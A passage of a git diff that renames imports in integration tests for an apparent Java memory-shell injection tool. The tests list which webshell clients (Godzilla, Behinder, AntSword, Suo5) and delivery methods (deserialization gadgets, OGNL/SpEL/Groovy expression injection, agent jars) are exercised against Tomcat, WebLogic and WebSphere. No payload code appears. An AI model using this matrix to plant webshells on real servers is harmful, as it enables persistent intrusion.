ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index ab216f77..1130b664 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,13 +42,13 @@ public class Tomcat8DeserializeContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils16), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils16), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java index 277c3d95..7e8042af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,19 +42,19 @@ public class Tomcat8ExpressionContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.BeanShell), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Rhino), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JinJava), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 82cd0c6c..aff1fa7b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,54 +41,54 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index c03cedf9..a200bd21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; -import com.reajason.javaweb.memshell.WebLogicShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebLogicShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,20 +41,20 @@ public class WebLogic1036ContainerTest { static Stream casesProvider() { return Stream.of( // arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.Base64), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java index 4b31206a..d44ef1db 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic12214ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; -import com.reajason.javaweb.memshell.WebLogicShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebLogicShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,21 +42,21 @@ public class WebLogic12214ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java index a7cc28c1..ed614826 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic14110ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; -import com.reajason.javaweb.memshell.WebLogicShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebLogicShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,21 +42,21 @@ public class WebLogic14110ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.Base64), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.Base64), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar), arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java index 31304dc9..2a4a4ddd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.websphere; -import com.reajason.javaweb.memshell.WebSphereShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.WebSphereShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,21 +45,21 @@ public class WebSphere855ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, 